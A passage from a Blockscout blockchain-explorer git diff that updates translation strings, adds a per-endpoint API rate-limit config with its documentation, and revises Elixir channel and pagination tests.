lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:82 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:76 -#, elixir-autogen, elixir-format, fuzzy -msgid "Add Contract Libraries" -msgstr "" - -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:127 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:121 -#, elixir-autogen, elixir-format -msgid "Add Library" -msgstr "" - -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:72 -#, elixir-autogen, elixir-format -msgid "Drop all Solidity contract source files into the drop zone." -msgstr "" - -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:30 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:26 -#, elixir-autogen, elixir-format, fuzzy -msgid "EVM version details" -msgstr "" - -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:52 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:48 -#, elixir-autogen, elixir-format -msgid "If you enabled optimization during compilation, select yes." -msgstr "" - -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:18 -#, elixir-autogen, elixir-format -msgid "Must match the name specified in the code. For example, in contract MyContract {..} MyContract is the contract name." -msgstr "" - -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:73 -#, elixir-autogen, elixir-format -msgid "POA solidity flattener or the" -msgstr "" - -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:98 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:92 -#, elixir-autogen, elixir-format -msgid "The 0x library address. This can be found in the generated json file or Truffle output (if using truffle)." -msgstr "" - -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:30 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:26 -#, elixir-autogen, elixir-format -msgid "The EVM version the contract is written for. If the bytecode does not match the version, we try to verify using the latest EVM version." -msgstr "" - -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:22 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:18 -#, elixir-autogen, elixir-format -msgid "The compiler version is specified in pragma solidity X.X.X. Use the compiler version rather than the nightly build. If using the Solidity compiler, run solc —version to check." -msgstr "" - -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:73 +#: lib/block_scout_web/views/address_contract_view.ex:32 +#: lib/block_scout_web/views/address_contract_view.ex:32 #, elixir-autogen, elixir-format -msgid "We recommend using flattened code. This is necessary if your code utilizes a library or inherits dependencies. Use the" +msgid "true" msgstr "" -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:73 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:77 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:77 #, elixir-autogen, elixir-format msgid "truffle flattener" msgstr "" - -#: lib/block_scout_web/templates/transaction_raw_trace/index.html.eex:23 -#, elixir-autogen, elixir-format -msgid "No trace entries found." -msgstr "" - -#: lib/block_scout_web/templates/page_not_found/index.html.eex:7 -#, elixir-autogen, elixir-format -msgid "Page not found" -msgstr "" - -#: lib/block_scout_web/templates/page_not_found/index.html.eex:8 -#, elixir-autogen, elixir-format -msgid "The requested path was not found on BlockScout." -msgstr "" diff --git a/apps/block_scout_web/priv/rate_limit_config.json b/apps/block_scout_web/priv/rate_limit_config.json new file mode 100644 index 000000000000..1b1b72180b75 --- /dev/null +++ b/apps/block_scout_web/priv/rate_limit_config.json @@ -0,0 +1,137 @@ +{ + "api/v2/key": { + "ignore": true + }, + "api/v2/import/token-info": { + "ignore": true + }, + "api/v2/import/smart-contracts/:param": { + "ignore": true + }, + "api/account/v2/authenticate_via_wallet": { + "recaptcha_to_bypass_429": true, + "ip": { + "period": "1h", + "limit": 1 + }, + "isolate_rate_limit?": true + }, + "api/account/v2/send_otp": { + "recaptcha_to_bypass_429": true, + "ip": { + "period": "1h", + "limit": 1 + }, + "isolate_rate_limit?": true + }, + "api/account/v2/user/info": { + "static_api_key": true, + "whitelisted_ip": true, + "ip": true, + "temporary_token": true, + "isolate_rate_limit?": true + }, + "api/v2/tokens/:param/instances/:param/refetch-metadata": { + "recaptcha_to_bypass_429": true, + "ip": { + "period": "1h", + "limit": 50 + }, + "bypass_token_scope": "token_instance_refetch_metadata", + "isolate_rate_limit?": true + }, + "api/v2/advanced-filters/csv": { + "recaptcha_to_bypass_429": true, + "ip": { + "period": "1h", + "limit": 50 + }, + "isolate_rate_limit?": true + }, + "api/v2/tokens/:param/holders/csv": { + "recaptcha_to_bypass_429": true, + "ip": { + "period": "1h", + "limit": 50 + }, + "isolate_rate_limit?": true + }, + "api/v2/addresses/:param/transactions/csv": { + "recaptcha_to_bypass_429": true, + "ip": { + "period": "1h", + "limit": 50 + }, + "isolate_rate_limit?": true + }, + "api/v2/addresses/:param/token-transfers/csv": { + "recaptcha_to_bypass_429": true, + "ip": { + "period": "1h", + "limit": 50 + }, + "isolate_rate_limit?": true + }, + "api/v2/addresses/:param/internal-transactions/csv": { + "recaptcha_to_bypass_429": true, + "ip": { + "period": "1h", + "limit": 50 + }, + "isolate_rate_limit?": true + }, + "api/v2/addresses/:param/logs/csv": { + "recaptcha_to_bypass_429": true, + "ip": { + "period": "1h", + "limit": 50 + }, + "isolate_rate_limit?": true + }, + "api/v2/addresses/:param/election-rewards/csv": { + "recaptcha_to_bypass_429": true, + "ip": { + "period": "1h", + "limit": 50 + }, + "isolate_rate_limit?": true + }, + "api/v2/smart-contracts/:param/audit-reports": { + "temporary_token": { + "period": "1h", + "limit": 50 + }, + "ip": { + "period": "1h", + "limit": 50 + }, + "isolate_rate_limit?": true + }, + "api/health/*": { + "ip": { + "period": "1s", + "limit": 5 + }, + "isolate_rate_limit?": true + }, + "api/v2/*": { + "static_api_key": true, + "account_api_key": true, + "whitelisted_ip": true, + "ip": true, + "temporary_token": true + }, + "api/account/v2/*": { + "static_api_key": true, + "whitelisted_ip": true, + "ip": true, + "temporary_token": true + }, + "default": { + "static_api_key": true, + "account_api_key": true, + "whitelisted_ip": true, + "ip": true, + "temporary_token": false + } +} diff --git a/apps/block_scout_web/rate_limits.md b/apps/block_scout_web/rate_limits.md new file mode 100644 index 000000000000..6eaa1eaf6f5c --- /dev/null +++ b/apps/block_scout_web/rate_limits.md @@ -0,0 +1,99 @@ +# Rate Limits Configuration + +Rate limits can be defined in a JSON configuration file `apps/block_scout_web/priv/rate_limit_config.json` or passed to `API_RATE_LIMIT_CONFIG_URL` as a URL to the JSON file. + +## Configuration Structure + +The JSON configuration is a map where: +- **Keys**: API endpoint paths +- **Values**: Rate limit configuration + +### Example Configuration +```json +"api/account/v2/send_otp": { + "recaptcha_to_bypass_429": true, + "ip": { + "period": "1h", + "limit": 1 + } +} +``` + +### Path Rules +- Paths should not contain query parameters +- Paths should not contain trailing slashes +- Paths can contain: + - `*` - Works as a wildcard (matches any path starting from the asterisk) + - Example: `api/v2/*` matches `api/v2` and `api/v2/addresses` + - ⚠️ Wildcard `*` allowed only at the end of the path + - `:param` - Represents a variable parameter in the endpoint path + - Example: `api/v2/addresses/:param` matches `api/v2/addresses/0x00000..000` +- ⚠️ It's not allowed to use `*` and `:param` simultaneously + +### Path Matching Priority +1. Paths without `:param` and `*` +2. Paths with `:param` +3. Paths with `*` + +### Default Configuration +The config must contain a `default` key that defines the default API rate limit configuration. This will be used for endpoints that don't match any defined paths in the config. + +> **Note**: GraphQL endpoints are out of scope for this config. Their rate limits are based on ENVs: `API_GRAPHQL_RATE_LIMIT_*` + +## Rate Limit Options + +Each rate limit entry can contain the following keys: + +### Rate Limit Methods +- `account_api_key` - Allows using API key emitted in My Account + > **Important**: When overriding `account_api_key`, ensure your limits are much lower than the default ones +- `whitelisted_ip` - Allows rate limiting by whitelisted IP +- `static_api_key` - Allows rate limiting by static API key +- `temporary_token` - Allows rate limiting by temporary token (cookie) issued by `/api/v2/key` +- `ip` - Allows rate limiting by IP address + +### Additional Options +- `cost` - Integer value used to decrease allowed limit (default: `1`) +- `ignore` - If `true`, the endpoint won't be rate limited +- `recaptcha_to_bypass_429` - If `true`, allows passing recaptcha header with response to bypass 429 errors. +- `bypass_token_scope` - Scope of recaptcha bypass token (currently only supports `token_instance_refetch_metadata`) +- `isolate_rate_limit?` - If `true`, creates a separate rate limit bucket for this endpoint. Instead of using the shared rate limit key, it prepends the endpoint path to create an isolated bucket (e.g., `api/v2/address_127.0.0.1` for the `/api/v2/address` endpoint with IP-based rate limiting). + +⚠️ It is recommended to use either `recaptcha_to_bypass_429` or `temporary_token`, not both. + +### Rate Limit Option Values +Each rate limit method can have one of these values: +- `true` - Rate limit option is allowed, limits pulled from ENVs +- `false` or omitted - Rate limit option is disabled +- Map with configuration: + - `limit` - Integer value representing max requests allowed per period + - `period` - Rate limit time period in [time format](https://docs.blockscout.com/setup/env-variables/backend-env-variables#time-format) + +## ReCAPTCHA Implementation + +ReCAPTCHA responses should be passed via headers: +- `recaptcha-v2-response` - For V2 captcha +- `recaptcha-v3-response` - For V3 captcha +- `recaptcha-bypass-token` - For non-scoped bypass recaptcha token +- `scoped-recaptcha-bypass-token` - For scoped bypass recaptcha token (currently only supports `token_instance_refetch_metadata` scope) + +> **Note**: ReCAPTCHA for `/api/v2/key` endpoint should be sent in the request body. + +## Rate Limit Headers + +The backend returns informational headers: +- `X-RateLimit-Limit` - Total limit per timeframe +- `X-RateLimit-Remaining` - Remaining requests within current time window +- `X-RateLimit-Reset` - Time to reset rate limits in milliseconds + +These headers may return `-1` in case of: +- Internal errors +- `API_NO_RATE_LIMIT_API_KEY` is used +- Rate limits are disabled on the backend +- The endpoint has `"ignore": true` parameter set + +### Bypass Options Header +The `bypass-429-option` header indicates how to bypass rate limits: +- `recaptcha` - Use ReCAPTCHA response in headers +- `temporary_token` - Get temporary cookie from `/api/v2/key` endpoint +- `no_bypass` - No way to bypass 429 error diff --git a/apps/block_scout_web/test/block_scout_web/chain_test.exs b/apps/block_scout_web/test/block_scout_web/chain_test.exs index c215da886aff..4b941780ed46 100644 --- a/apps/block_scout_web/test/block_scout_web/chain_test.exs +++ b/apps/block_scout_web/test/block_scout_web/chain_test.exs @@ -1,9 +1,81 @@ defmodule BlockScoutWeb.ChainTest do use Explorer.DataCase - alias Explorer.Chain.{Address, Block, Transaction} + alias Explorer.Chain.{Address, Block, Transaction, TokenTransfer} alias BlockScoutWeb.Chain + describe "next_page_params/4" do + # https://github.com/blockscout/blockscout/issues/12984 + test "does not return duplicated keys" do + assert Chain.next_page_params([nil], [%{id: 123}], %{"id" => 178}, fn x -> x end) == %{ + "items_count" => 1, + id: 123 + } + end + end + + describe "token_transfers_next_page_params/3" do + # https://github.com/blockscout/blockscout/issues/12984 + test "does not return duplicated keys" do + assert Chain.token_transfers_next_page_params( + [%TokenTransfer{block_number: 1, log_index: 3}], + [%TokenTransfer{block_number: 1, log_index: 2}], + %{ + "block_number" => 5, + "index" => 4 + } + ) == %{ + block_number: 1, + index: 2 + } + end + + test "does not return duplicated keys with batch transfer" do + assert Chain.token_transfers_next_page_params( + [ + %TokenTransfer{ + block_number: 1, + log_index: 2, + block_hash: "0x123", + transaction_hash: "0x456", + index_in_batch: 1 + } + ], + [ + %TokenTransfer{ + block_number: 1, + log_index: 2, + block_hash: "0xabc", + transaction_hash: "0xdef", + index_in_batch: 3 + }, + %TokenTransfer{ + block_number: 1, + log_index: 2, + block_hash: "0x123", + transaction_hash: "0x456", + index_in_batch: 2 + } + ], + %{ + "block_number" => 5, + "index" => 4, + "batch_log_index" => 3, + "batch_block_hash" => "0x789", + "batch_transaction_hash" => "0xabc", + "index_in_batch" => 2 + } + ) == %{ + :block_number => 1, + :index => 2, + :batch_block_hash => "0x123", + :batch_log_index => 2, + :batch_transaction_hash => "0x456", + :index_in_batch => 2 + } + end + end + describe "current_filter/1" do test "sets direction based on to filter" do assert [direction: :to] = Chain.current_filter(%{"filter" => "to"}) @@ -44,20 +116,6 @@ defmodule BlockScoutWeb.ChainTest do assert {:ok, %Address{hash: ^hash}} = address |> Phoenix.Param.to_param() |> Chain.from_param() end - test "finds a token by its name" do - name = "AYR" - insert(:token, symbol: name) - - assert {:ok, %Address{}} = name |> Chain.from_param() - end - - test "finds a token by its name even if lowercase name was passed" do - name = "ayr" - insert(:token, symbol: String.upcase(name)) - - assert {:ok, %Address{}} = name |> Chain.from_param() - end - test "returns {:error, :not_found} when garbage is passed in" do assert {:error, :not_found} = Chain.from_param("any ol' thing") end @@ -72,11 +130,11 @@ defmodule BlockScoutWeb.ChainTest do end end - describe "Posion.encode!" do + describe "Poison.encode!" do test "correctly encodes decimal values" do val = Decimal.from_float(5.55) - assert "5.55" == Poison.encode!(val) + assert "\"5.55\"" == Poison.encode!(val) end end end diff --git a/apps/block_scout_web/test/block_scout_web/channels/address_channel_test.exs b/apps/block_scout_web/test/block_scout_web/channels/address_channel_test.exs index 07b890fa936b..d4da4238a8d8 100644 --- a/apps/block_scout_web/test/block_scout_web/channels/address_channel_test.exs +++ b/apps/block_scout_web/test/block_scout_web/channels/address_channel_test.exs @@ -1,20 +1,21 @@ defmodule BlockScoutWeb.AddressChannelTest do use BlockScoutWeb.ChannelCase, - # ETS tables are shared in `Explorer.Counters.AddressesCounter` + # ETS tables are shared in `Explorer.Chain.Cache.Counters.AddressesCount` async: false alias BlockScoutWeb.UserSocket alias BlockScoutWeb.Notifier - alias Explorer.Counters.AddressesCounter + alias Explorer.Chain.Wei + alias Explorer.Chain.Cache.Counters.AddressesCount test "subscribed user is notified of new_address count event" do - topic = "addresses:new_address" + topic = "addresses_old:new_address" @endpoint.subscribe(topic) address = insert(:address) - start_supervised!(AddressesCounter) - AddressesCounter.consolidate() + start_supervised!(AddressesCount) + AddressesCount.consolidate() Notifier.handle_event({:chain_event, :addresses, :realtime, [address]}) @@ -24,7 +25,7 @@ defmodule BlockScoutWeb.AddressChannelTest do describe "user pushing to channel" do setup do address = insert(:address, fetched_coin_balance: 100_000, fetched_coin_balance_block_number: 1) - topic = "addresses:#{address.hash}" + topic = "addresses_old:#{address.hash}" {:ok, _, socket} = UserSocket @@ -47,16 +48,17 @@ defmodule BlockScoutWeb.AddressChannelTest do describe "user subscribed to address" do setup do address = insert(:address) - topic = "addresses:#{address.hash}" + topic = "addresses_old:#{address.hash}" @endpoint.subscribe(topic) {:ok, %{address: address, topic: topic}} end test "notified of balance_update for matching address", %{address: address, topic: topic} do - address_with_balance = %{address | fetched_coin_balance: 1} + {:ok, balance} = Wei.cast(1) + address_with_balance = %{address | fetched_coin_balance: balance} - start_supervised!(AddressesCounter) - AddressesCounter.consolidate() + start_supervised!(AddressesCount) + AddressesCount.consolidate() Notifier.handle_event({:chain_event, :addresses, :realtime, [address_with_balance]}) @@ -67,8 +69,8 @@ defmodule BlockScoutWeb.AddressChannelTest do end test "not notified of balance_update if fetched_coin_balance is nil", %{address: address} do - start_supervised!(AddressesCounter) - AddressesCounter.consolidate() + start_supervised!(AddressesCount) + AddressesCount.consolidate() Notifier.handle_event({:chain_event, :addresses, :realtime, [address]}) @@ -80,7 +82,11 @@ defmodule BlockScoutWeb.AddressChannelTest do Notifier.handle_event({:chain_event, :transactions, :realtime, [pending]}) - assert_receive %Phoenix.Socket.Broadcast{topic: ^topic, event: "pending_transaction", payload: payload}, + assert_receive %Phoenix.Socket.Broadcast{ + topic: ^topic, + event: "pending_transaction", + payload: %{transaction: _} = payload + }, :timer.seconds(5) assert payload.address.hash == address.hash @@ -95,7 +101,13 @@ defmodule BlockScoutWeb.AddressChannelTest do Notifier.handle_event({:chain_event, :transactions, :realtime, [transaction]}) - assert_receive %Phoenix.Socket.Broadcast{topic: ^topic, event: "transaction", payload: payload}, :timer.seconds(5) + assert_receive %Phoenix.Socket.Broadcast{ + topic: ^topic, + event: "transaction", + payload: %{transaction: _} = payload + }, + :timer.seconds(5) + assert payload.address.hash == address.hash assert payload.transaction.hash == transaction.hash end @@ -108,7 +120,13 @@ defmodule BlockScoutWeb.AddressChannelTest do Notifier.handle_event({:chain_event, :transactions, :realtime, [transaction]}) - assert_receive %Phoenix.Socket.Broadcast{topic: ^topic, event: "transaction", payload: payload}, :timer.seconds(5) + assert_receive %Phoenix.Socket.Broadcast{ + topic: ^topic, + event: "transaction", + payload: %{transaction: _} = payload + }, + :timer.seconds(5) + assert payload.address.hash == address.hash assert payload.transaction.hash == transaction.hash end @@ -121,11 +139,19 @@ defmodule BlockScoutWeb.AddressChannelTest do Notifier.handle_event({:chain_event, :transactions, :realtime, [transaction]}) - assert_receive %Phoenix.Socket.Broadcast{topic: ^topic, event: "transaction", payload: payload}, :timer.seconds(5) + assert_receive %Phoenix.Socket.Broadcast{ + topic: ^topic, + event: "transaction", + payload: %{transaction: _} = payload + }, + :timer.seconds(5) + assert payload.address.hash == address.hash assert payload.transaction.hash == transaction.hash - refute_receive _, 100, "Received duplicate broadcast." + refute_receive %Phoenix.Socket.Broadcast{topic: ^topic, event: "transaction", payload: %{transaction: _}}, + 100, + "Received duplicate broadcast." end test "notified of new_internal_transaction for matching from_address", %{address: address, topic: topic} do diff --git a/apps/block_scout_web/test/block_scout_web/channels/block_channel_test.exs b/apps/block_scout_web/test/block_scout_web/channels/block_channel_test.exs index f9ffc0135983..bde9e587fd48 100644 --- a/apps/block_scout_web/test/block_scout_web/channels/block_channel_test.exs +++ b/apps/block_scout_web/test/block_scout_web/channels/block_channel_test.exs @@ -2,13 +2,21 @@ defmodule BlockScoutWeb.BlockChannelTest do use BlockScoutWeb.ChannelCase alias BlockScoutWeb.Notifier + alias Explorer.Chain.Cache.Counters.AverageBlockTime test "subscribed user is notified of new_block event" do - topic = "blocks:new_block" + topic = "blocks_old:new_block" @endpoint.subscribe(topic) block = insert(:block, number: 1) + start_supervised!(AverageBlockTime) + Application.put_env(:explorer, AverageBlockTime, enabled: true, cache_period: 1_800_000) + + on_exit(fn -> + Application.put_env(:explorer, AverageBlockTime, enabled: false, cache_period: 1_800_000) + end) + Notifier.handle_event({:chain_event, :blocks, :realtime, [block]}) receive do diff --git a/apps/block_scout_web/test/block_scout_web/channels/exchange_rate_channel_test.exs b/apps/block_scout_web/test/block_scout_web/channels/exchange_rate_channel_test.exs index bac3c7271832..87bd37080bd0 100644 --- a/apps/block_scout_web/test/block_scout_web/channels/exchange_rate_channel_test.exs +++ b/apps/block_scout_web/test/block_scout_web/channels/exchange_rate_channel_test.exs @@ -4,37 +4,40 @@ defmodule BlockScoutWeb.ExchangeRateChannelTest do import Mox alias BlockScoutWeb.Notifier - alias Explorer.ExchangeRates - alias Explorer.ExchangeRates.Token - alias Explorer.ExchangeRates.Source.TestSource alias Explorer.Market + alias Explorer.Market.Fetcher.Coin + alias Explorer.Market.{MarketHistory, Token} + alias Explorer.Market.Source.TestSource setup :verify_on_exit! setup do # Use TestSource mock and ets table for this test set - configuration = Application.get_env(:explorer, Explorer.ExchangeRates) - Application.put_env(:explorer, Explorer.ExchangeRates, source: TestSource) - Application.put_env(:explorer, Explorer.ExchangeRates, table_name: :rates) - Application.put_env(:explorer, Explorer.ExchangeRates, enabled: true) + coin_fetcher_configuration = Application.get_env(:explorer, Coin) + market_source_configuration = Application.get_env(:explorer, Explorer.Market.Source) - ExchangeRates.init([]) + Application.put_env(:explorer, Explorer.Market.Source, native_coin_source: TestSource) + Application.put_env(:explorer, Coin, Keyword.merge(coin_fetcher_configuration, table_name: :rates, enabled: true)) + + Coin.init([]) token = %Token{ available_supply: Decimal.new("1000000.0"), total_supply: Decimal.new("1000000.0"), btc_value: Decimal.new("1.000"), - id: "test", last_updated: DateTime.utc_now(), - market_cap_usd: Decimal.new("1000000.0"), + market_cap: Decimal.new("1000000.0"), + tvl: Decimal.new("2000000.0"), name: "test", symbol: Explorer.coin(), - usd_value: Decimal.new("2.5"), - volume_24h_usd: Decimal.new("1000.0") + fiat_value: Decimal.new("2.5"), + volume_24h: Decimal.new("1000.0"), + image_url: nil } on_exit(fn -> - Application.put_env(:explorer, Explorer.ExchangeRates, configuration) + Application.put_env(:explorer, Coin, coin_fetcher_configuration) + Application.put_env(:explorer, Explorer.Market.Source, market_source_configuration) end) {:ok, %{token: token}} @@ -42,11 +45,11 @@ defmodule BlockScoutWeb.ExchangeRateChannelTest do describe "new_rate" do test "subscribed user is notified", %{token: token} do - ExchangeRates.handle_info({nil, {:ok, [token]}}, %{}) + Coin.handle_info({nil, {{:ok, token}, false}}, %{}) Supervisor.terminate_child(Explorer.Supervisor, {ConCache, Explorer.Market.MarketHistoryCache.cache_name()}) Supervisor.restart_child(Explorer.Supervisor, {ConCache, Explorer.Market.MarketHistoryCache.cache_name()}) - topic = "exchange_rate:new_rate" + topic = "exchange_rate_old:new_rate" @endpoint.subscribe(topic) Notifier.handle_event({:chain_event, :exchange_rate}) @@ -62,7 +65,7 @@ defmodule BlockScoutWeb.ExchangeRateChannelTest do end test "subscribed user is notified with market history", %{token: token} do - ExchangeRates.handle_info({nil, {:ok, [token]}}, %{}) + Coin.handle_info({nil, {{:ok, token}, false}}, %{}) Supervisor.terminate_child(Explorer.Supervisor, {ConCache, Explorer.Market.MarketHistoryCache.cache_name()}) Supervisor.restart_child(Explorer.Supervisor, {ConCache, Explorer.Market.MarketHistoryCache.cache_name()}) @@ -76,13 +79,13 @@ defmodule BlockScoutWeb.ExchangeRateChannelTest do } end - records = [%{date: today, closing_price: token.usd_value} | old_records] + records = [%{date: today, closing_price: token.fiat_value} | old_records] - Market.bulk_insert_history(records) + MarketHistory.bulk_insert(records) Market.fetch_recent_history() - topic = "exchange_rate:new_rate" + topic = "exchange_rate_old:new_rate" @endpoint.subscribe(topic) Notifier.handle_event({:chain_event, :exchange_rate}) diff --git a/apps/block_scout_web/test/block_scout_web/channels/reward_channel_test.exs b/apps/block_scout_web/test/block_scout_web/channels/reward_channel_test.exs index 6dd8dae7c565..06d6241c9d88 100644 --- a/apps/block_scout_web/test/block_scout_web/channels/reward_channel_test.exs +++ b/apps/block_scout_web/test/block_scout_web/channels/reward_channel_test.exs @@ -11,7 +11,7 @@ defmodule BlockScoutWeb.RewardChannelTest do block = insert(:block) reward = insert(:reward, address_hash: address.hash, block_hash: block.hash) - topic = "rewards:#{address.hash}" + topic = "rewards_old:#{address.hash}" @endpoint.subscribe(topic) Notifier.handle_event({:chain_event, :block_rewards, :realtime, [reward]}) @@ -27,7 +27,7 @@ defmodule BlockScoutWeb.RewardChannelTest do block = insert(:block) reward = insert(:reward, address_hash: address.hash, block_hash: block.hash) - topic = "rewards:#{address.hash}" + topic = "rewards_old:#{address.hash}" @endpoint.subscribe(topic) Notifier.handle_event({:chain_event, :block_rewards, :realtime, [reward]}) @@ -44,7 +44,7 @@ defmodule BlockScoutWeb.RewardChannelTest do block = insert(:block) reward = insert(:reward, address_hash: address.hash, block_hash: block.hash) - topic = "rewards:0x0" + topic = "rewards_old:0x0" @endpoint.subscribe(topic) Notifier.handle_event({:chain_event, :block_rewards, :realtime, [reward]}) diff --git a/apps/block_scout_web/test/block_scout_web/channels/transaction_channel_test.exs b/apps/block_scout_web/test/block_scout_web/channels/transaction_channel_test.exs index b0d54911654b..b41454e11071 100644 --- a/apps/block_scout_web/test/block_scout_web/channels/transaction_channel_test.exs +++ b/apps/block_scout_web/test/block_scout_web/channels/transaction_channel_test.exs @@ -5,7 +5,7 @@ defmodule BlockScoutWeb.TransactionChannelTest do alias BlockScoutWeb.Notifier test "subscribed user is notified of new_transaction topic" do - topic = "transactions:new_transaction" + topic = "transactions_old:new_transaction" @endpoint.subscribe(topic) transaction = @@ -16,7 +16,7 @@ defmodule BlockScoutWeb.TransactionChannelTest do Notifier.handle_event({:chain_event, :transactions, :realtime, [transaction]}) receive do - %Phoenix.Socket.Broadcast{topic: ^topic, event: "transaction", payload: payload} -> + %Phoenix.Socket.Broadcast{topic: ^topic, event: "transaction", payload: %{transaction: _transaction} = payload} -> assert payload.transaction.hash == transaction.hash after :timer.seconds(5) -> @@ -25,7 +25,7 @@ defmodule BlockScoutWeb.TransactionChannelTest do end test "subscribed user is notified of new_pending_transaction topic" do - topic = "transactions:new_pending_transaction" + topic = "transactions_old:new_pending_transaction" @endpoint.subscribe(topic) pending = insert(:transaction) @@ -33,7 +33,11 @@ defmodule BlockScoutWeb.TransactionChannelTest do Notifier.handle_event({:chain_event, :transactions, :realtime, [pending]}) receive do - %Phoenix.Socket.Broadcast{topic: ^topic, event: "pending_transaction", payload: payload} -> + %Phoenix.Socket.Broadcast{ + topic: ^topic, + event: "pending_transaction", + payload: %{transaction: _transaction} = payload + } -> assert payload.transaction.hash == pending.hash after :timer.seconds(5) -> @@ -47,7 +51,7 @@ defmodule BlockScoutWeb.TransactionChannelTest do |> insert() |> with_block() - topic = "transactions:#{Hash.to_string(transaction.hash)}" + topic = "transactions_old:#{Hash.to_string(transaction.hash)}" @endpoint.subscribe(topic) Notifier.handle_event({:chain_event, :transactions, :realtime, [transaction]}) diff --git a/apps/block_scout_web/test/block_scout_web/channels/v2/address_channel_test.exs b/apps/block_scout_web/test/block_scout_web/channels/v2/address_channel_test.exs new file mode 100644 index 000000000000..b7a245e2b7dd --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/channels/v2/address_channel_test.exs @@ -0,0 +1,129 @@ +defmodule BlockScoutWeb.V2.AddressChannelTest do + use BlockScoutWeb.ChannelCase, + # ETS tables are shared in `Explorer.Chain.Cache.Counters.AddressesCount` + async: false + + alias BlockScoutWeb.Notifier + alias Explorer.Chain.Wei + alias Explorer.Chain.Cache.Counters.AddressesCount + + test "subscribed user is notified of new_address count event" do + topic = "addresses:new_address" + @endpoint.subscribe(topic) + + address = insert(:address) + + start_supervised!(AddressesCount) + AddressesCount.consolidate() + + Notifier.handle_event({:chain_event, :addresses, :realtime, [address]}) + + assert_receive %Phoenix.Socket.Broadcast{topic: ^topic, event: "count", payload: %{count: _}}, :timer.seconds(5) + end + + describe "user subscribed to address" do + setup do + address = insert(:address) + topic = "addresses:#{address.hash}" + @endpoint.subscribe(topic) + {:ok, %{address: address, topic: topic}} + end + + test "notified of balance_update for matching address", %{address: address, topic: topic} do + {:ok, balance} = Wei.cast(1) + address_with_balance = %{address | fetched_coin_balance: balance} + + start_supervised!(AddressesCount) + AddressesCount.consolidate() + + Notifier.handle_event({:chain_event, :addresses, :realtime, [address_with_balance]}) + + assert_receive %Phoenix.Socket.Broadcast{topic: ^topic, event: "balance", payload: payload}, + :timer.seconds(5) + + assert payload.balance == balance.value + end + + test "not notified of balance_update if fetched_coin_balance is nil", %{address: address} do + start_supervised!(AddressesCount) + AddressesCount.consolidate() + + Notifier.handle_event({:chain_event, :addresses, :realtime, [address]}) + + refute_receive _, 100, "Message was broadcast for nil fetched_coin_balance." + end + + test "notified of new_pending_transaction for matching from_address", %{address: address, topic: topic} do + pending = insert(:transaction, from_address: address) + + Notifier.handle_event({:chain_event, :transactions, :realtime, [pending]}) + + assert_receive %Phoenix.Socket.Broadcast{ + topic: ^topic, + event: "pending_transaction", + payload: %{transactions: _} = payload + }, + :timer.seconds(5) + + assert List.first(payload.transactions)["hash"] == pending.hash + end + + test "notified of new_transaction for matching from_address", %{address: address, topic: topic} do + transaction = + :transaction + |> insert(from_address: address) + |> with_block() + + Notifier.handle_event({:chain_event, :transactions, :realtime, [transaction]}) + + assert_receive %Phoenix.Socket.Broadcast{ + topic: ^topic, + event: "transaction", + payload: %{transactions: _} = payload + }, + :timer.seconds(5) + + assert List.first(payload.transactions)["hash"] == transaction.hash + end + + test "notified of new_transaction for matching to_address", %{address: address, topic: topic} do + transaction = + :transaction + |> insert(to_address: address) + |> with_block() + + Notifier.handle_event({:chain_event, :transactions, :realtime, [transaction]}) + + assert_receive %Phoenix.Socket.Broadcast{ + topic: ^topic, + event: "transaction", + payload: %{transactions: _} = payload + }, + :timer.seconds(5) + + assert List.first(payload.transactions)["hash"] == transaction.hash + end + + test "not notified twice of new_transaction if to and from address are equal", %{address: address, topic: topic} do + transaction = + :transaction + |> insert(from_address: address, to_address: address) + |> with_block() + + Notifier.handle_event({:chain_event, :transactions, :realtime, [transaction]}) + + assert_receive %Phoenix.Socket.Broadcast{ + topic: ^topic, + event: "transaction", + payload: %{transactions: _} = payload + }, + :timer.seconds(5) + + assert List.first(payload.transactions)["hash"] == transaction.hash + + refute_receive %Phoenix.Socket.Broadcast{topic: ^topic, event: "transaction", payload: %{transactions: _}}, + 100, + "Received duplicate broadcast." + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/channels/v2/block_channel_test.exs b/apps/block_scout_web/test/block_scout_web/channels/v2/block_channel_test.exs new file mode 100644 index 000000000000..febce4453f38 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/channels/v2/block_channel_test.exs @@ -0,0 +1,41 @@ +defmodule BlockScoutWeb.V2.BlockChannelTest do + use BlockScoutWeb.ChannelCase + + alias BlockScoutWeb.Notifier + alias Explorer.Chain.Cache.Counters.AverageBlockTime + + test "subscribed user is notified of new_block event" do + topic = "blocks:new_block" + @endpoint.subscribe(topic) + + block = insert(:block, number: 1) + + start_supervised!(AverageBlockTime) + Application.put_env(:explorer, AverageBlockTime, enabled: true, cache_period: 1_800_000) + + on_exit(fn -> + Application.put_env(:explorer, AverageBlockTime, enabled: false, cache_period: 1_800_000) + end) + + Notifier.handle_event({:chain_event, :blocks, :realtime, [block]}) + + receive do + %Phoenix.Socket.Broadcast{topic: ^topic, event: "new_block", payload: %{block: _}} -> + assert true + after + :timer.seconds(5) -> + assert false, "Expected message received nothing." 